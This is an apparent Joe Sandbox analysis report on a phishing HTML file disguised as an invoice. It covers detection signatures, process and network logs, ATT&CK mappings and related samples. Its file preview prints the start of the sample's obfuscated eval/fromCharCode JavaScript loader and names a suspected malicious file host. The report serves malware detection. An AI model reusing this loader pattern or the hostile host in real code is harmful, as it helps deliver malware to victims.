Edit tour

Windows Analysis Report
FV2025020697808.html

Overview

General Information

Sample name:	FV2025020697808.html
Analysis ID:	1638147
MD5:	4c2253abb3063d9aeb716a6d7399f3db
SHA1:	83a64f5a7d4792a49ec20c8107dfacaa33bbdfe3
SHA256:	f344c34ac5da6732cbebd8b9609b88a39044767162510912cb7473bf2ca308f5
Infos:

Detection

Score:	48
Range:	0 - 100
Confidence:	100%

Signatures

AI detected suspicious Javascript

Detected javascript redirector / loader

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,7950056255609318263,6595962247530146966,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2072 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6348 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\FV2025020697808.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Joe Sandbox Signatures

• Phishing
• Software Vulnerabilities
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.14.d.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution via `eval()` and potential data exfiltration. The obfuscated code and encoded strings further increase the suspicion of malicious intent. While the specific purpose is unclear, the overall behavior is highly concerning and indicative of a high-risk script.

Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.214.10

Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: s4.histats.com
Source: global traffic	DNS traffic detected: DNS query: filehost200885.info
Source: global traffic	DNS traffic detected: DNS query: _13621._https.filehost200885.info
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons2.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons3.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons4.gvt2.com

Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,7950056255609318263,6595962247530146966,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2072 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\FV2025020697808.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,7950056255609318263,6595962247530146966,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2072 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
filehost200885.info	156.229.228.198	true	false	unknown
beacons3.gvt2.com	142.250.184.227	true	false	high
s4.histats.com	54.39.128.162	true	false	high
beacons-handoff.gcp.gvt2.com	142.251.143.67	true	false	high
gce-beacons.gcp.gvt2.com	35.241.20.48	true	false	high
www.google.com	142.250.185.196	true	false	high
beacons2.gvt2.com	216.58.206.131	true	false	high
beacons.gvt2.com	142.251.143.67	true	false	high
beacons4.gvt2.com	216.239.32.116	true	false	high
beacons6.gvt2.com	142.250.186.35	true	false	high
_13621._https.filehost200885.info	unknown	unknown	false	unknown
beacons.gcp.gvt2.com	unknown	unknown	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.35	beacons6.gvt2.com	United States	15169	GOOGLEUS	false
156.229.228.198	filehost200885.info	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
54.39.128.162	s4.histats.com	Canada	16276	OVHFR	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638147
Start date and time:	2025-03-14 08:52:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FV2025020697808.html
Detection:	MAL
Classification:	mal48.phis.winHTML@31/0@80/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.229.228.198	faktura_FV2025020660849.html	Get hash	malicious	Unknown	Browse
156.229.228.198	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse
54.39.128.162	http://ww3.0123movies.com.co	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse
	https://eightdays-pdfnow.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse
	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse
	https://usapress.info/inside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years/	Get hash	malicious	Unknown	Browse
	https://l.facebook.com/l.php?u=https%3A%2F%2Fusapress.info%2Finside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years%2F%3Ffbclid%3DIwZXh0bgNhZW0CMTAAAR0r3IVxCUPtQPPqP5Ce0_adoAsiHgG3Oy1cYDq3k1JXBIrTGLtjToxlazM_aem_q02YsKkKY0QB_fm5suzUDw&h=AT1Xo_CkNlagO29_sds-m5zdTBZ6-H70m0J__7wjjmSNinwNGqBfRUFK3cH2zXJWNO7msrJPRkNulrkTmUCLkRNMcfCJTNK-cs4SfUQyRy7nw3vP1DNmFisBvlttaen8fHfi-N3lXN_BGQgdBw&__tn__=R%5D-R&c%5B0%5D=AT3euz91upHKeMVK8p24ktUFKClJ0GKt_3lJnV9tGakx0Tro3u7Ymk1z4tOG4eBZxcuD-Ny10eAla4iUyfdG04Fh4GryHwAMuELGG4dQctfWKiu4mfB-eLJ8Qktnq0ptzD_TaZEPEMHQnvP4W65jDpc-XBmWlMSmaRM-2soPhaPGYAODWegqP8h47S90Q2hmwQvQgUDdb35OgV1duzzqudMAyOk7e8E7mfpnrlwhIvWwUkK53AUNuPTqYkQ	Get hash	malicious	Unknown	Browse
	http://football-booster.freevisit1.com/hs-football.php?live=Greendale%20vs%20Milwaukee%20Lutheran	Get hash	malicious	Unknown	Browse
	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse
	https://nakheel-mall.myfreesites.net	Get hash	malicious	Unknown	Browse
	https://loginshshhdd.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse

IP
192.168.2.7
192.168.2.16
192.168.2.9
192.168.2.23

File type:	HTML document, ASCII text, with very long lines (65438), with CRLF line terminators
Entropy (8bit):	3.7278132522548453
TrID:	HyperText Markup Language (15015/1) 30.02% HyperText Markup Language (12001/1) 23.99% HyperText Markup Language (12001/1) 23.99% HyperText Markup Language (11001/1) 21.99%
File name:	FV2025020697808.html
File size:	125'927 bytes
MD5:	4c2253abb3063d9aeb716a6d7399f3db
SHA1:	83a64f5a7d4792a49ec20c8107dfacaa33bbdfe3
SHA256:	f344c34ac5da6732cbebd8b9609b88a39044767162510912cb7473bf2ca308f5
SHA512:	776dcfb63001e44098840907dd7eb45a87aa839169f98e1a501011a2f08f6fa959efbb3109062e6fc5ce0840feda6f1452dad20fe5662ac7b2ca04a07c6d3159
SSDEEP:	3072:uFGSCGKSiBTYQmFsHAeN2a6OoyJ7SKhbxBB/oe0c2I9+bk:8F2BU8dYk
TLSH:	FFC3E3322D792A10FDB79247A7FA0A6CEF21D1391F013EA85482E2541E7A569FF0375C
File Content Preview:	<!DOCTYPE html>..<html>.. <head>.. <meta charset="utf-8">.. </head>.. <body>.. <script>.. var kiPBtXjTaWX = "evaYstgZRl(\"qHhzUDhowIWfAXhdbAeCdy = ''; \" + StrinYstgZRg.fYstgZRromCharCode.apYstgZRply(null, \"80+22Lts120-3Lts94+16Lts81+18Lts1

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 08:53:27.922519922 CET	49676	80	192.168.2.7	23.199.215.203
Mar 14, 2025 08:53:27.922553062 CET	49677	443	192.168.2.7	2.18.98.62
Mar 14, 2025 08:53:29.313040972 CET	49675	443	192.168.2.7	2.23.227.208
Mar 14, 2025 08:53:29.313043118 CET	49673	443	192.168.2.7	2.23.227.208
Mar 14, 2025 08:53:29.313091040 CET	49674	443	192.168.2.7	2.23.227.208
Mar 14, 2025 08:53:30.944796085 CET	49683	443	192.168.2.7	142.250.186.35
Mar 14, 2025 08:53:30.944827080 CET	443	49683	142.250.186.35	192.168.2.7
Mar 14, 2025 08:53:30.944895983 CET	49683	443	192.168.2.7	142.250.186.35
Mar 14, 2025 08:53:30.946749926 CET	49683	443	192.168.2.7	142.250.186.35
Mar 14, 2025 08:53:30.946764946 CET	443	49683	142.250.186.35	192.168.2.7
Mar 14, 2025 08:53:31.146100044 CET	443	49683	142.250.186.35	192.168.2.7
Mar 14, 2025 08:53:31.157205105 CET	49687	443	192.168.2.7	142.250.186.35
Mar 14, 2025 08:53:31.157239914 CET	443	49687	142.250.186.35	192.168.2.7
Mar 14, 2025 08:53:31.157279015 CET	49687	443	192.168.2.7	142.250.186.35
Mar 14, 2025 08:53:31.159794092 CET	49687	443	192.168.2.7	142.250.186.35
Mar 14, 2025 08:53:31.159809113 CET	443	49687	142.250.186.35	192.168.2.7
Mar 14, 2025 08:53:31.357287884 CET	443	49687	142.250.186.35	192.168.2.7
Mar 14, 2025 08:53:35.400804043 CET	49697	443	192.168.2.7	142.250.185.196
Mar 14, 2025 08:53:35.400835991 CET	443	49697	142.250.185.196	192.168.2.7
Mar 14, 2025 08:53:35.401074886 CET	49697	443	192.168.2.7	142.250.185.196
Mar 14, 2025 08:53:35.401401997 CET	49697	443	192.168.2.7	142.250.185.196
Mar 14, 2025 08:53:35.401417017 CET	443	49697	142.250.185.196	192.168.2.7
Mar 14, 2025 08:53:35.601351976 CET	443	49697	142.250.185.196	192.168.2.7
Mar 14, 2025 08:53:35.601993084 CET	49698	443	192.168.2.7	142.250.185.196
Mar 14, 2025 08:53:35.602030993 CET	443	49698	142.250.185.196	192.168.2.7
Mar 14, 2025 08:53:35.602097988 CET	49698	443	192.168.2.7	142.250.185.196
Mar 14, 2025 08:53:35.602430105 CET	49698	443	192.168.2.7	142.250.185.196
Mar 14, 2025 08:53:35.602447033 CET	443	49698	142.250.185.196	192.168.2.7
Mar 14, 2025 08:53:35.802126884 CET	443	49698	142.250.185.196	192.168.2.7
Mar 14, 2025 08:53:36.847039938 CET	49701	443	192.168.2.7	54.39.128.162
Mar 14, 2025 08:53:36.847076893 CET	443	49701	54.39.128.162	192.168.2.7
Mar 14, 2025 08:53:36.847171068 CET	49701	443	192.168.2.7	54.39.128.162
Mar 14, 2025 08:53:36.847747087 CET	49701	443	192.168.2.7	54.39.128.162
Mar 14, 2025 08:53:36.847759008 CET	443	49701	54.39.128.162	192.168.2.7
Mar 14, 2025 08:53:37.045948982 CET	443	49701	54.39.128.162	192.168.2.7
Mar 14, 2025 08:53:37.062818050 CET	49702	443	192.168.2.7	54.39.128.162
Mar 14, 2025 08:53:37.062865019 CET	443	49702	54.39.128.162	192.168.2.7
Mar 14, 2025 08:53:37.062997103 CET	49702	443	192.168.2.7	54.39.128.162
Mar 14, 2025 08:53:37.063848019 CET	49702	443	192.168.2.7	54.39.128.162
Mar 14, 2025 08:53:37.063863039 CET	443	49702	54.39.128.162	192.168.2.7

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 08:53:30.850714922 CET	53	61468	1.1.1.1	192.168.2.7
Mar 14, 2025 08:53:30.912554026 CET	53	50119	1.1.1.1	192.168.2.7
Mar 14, 2025 08:53:35.393021107 CET	65190	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:53:35.393253088 CET	50795	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:53:35.399940014 CET	53	50795	1.1.1.1	192.168.2.7
Mar 14, 2025 08:53:35.400023937 CET	53	65190	1.1.1.1	192.168.2.7
Mar 14, 2025 08:53:36.831897020 CET	50192	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:53:36.834096909 CET	57772	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:53:36.838599920 CET	53	50192	1.1.1.1	192.168.2.7
Mar 14, 2025 08:53:36.846534967 CET	53	57772	1.1.1.1	192.168.2.7
Mar 14, 2025 08:53:37.840565920 CET	60780	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:53:37.840917110 CET	55419	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:53:37.850429058 CET	53	60780	1.1.1.1	192.168.2.7
Mar 14, 2025 08:53:37.871088982 CET	53	55419	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:30.607009888 CET	53	51682	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:31.014245987 CET	53	64398	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:32.044755936 CET	53	52740	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:33.146960974 CET	64720	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:33.147115946 CET	53310	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:33.154470921 CET	53	64720	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:33.154495001 CET	53	53310	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:34.157855034 CET	53487	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:34.157979012 CET	63545	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:34.165236950 CET	53	63545	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:34.280843019 CET	53	53487	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:36.189116001 CET	56790	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:36.196213961 CET	53	56790	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:37.188618898 CET	56790	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:37.195799112 CET	53	56790	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:38.188469887 CET	56790	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:38.195727110 CET	53	56790	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:40.189423084 CET	56790	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:40.196562052 CET	53	56790	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:44.189591885 CET	56790	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:44.196708918 CET	53	56790	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:48.990902901 CET	52217	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:48.991377115 CET	50467	53	192.168.2.7	1.1.1.1
Mar 14, 2025 08:54:48.997761011 CET	53	52217	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:48.999108076 CET	53	50467	1.1.1.1	192.168.2.7
Mar 14, 2025 08:54:50.001564026 CET	57228	53	192.168.2.7	1.1.1.1

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	sync.mipsel.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.x86_64.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
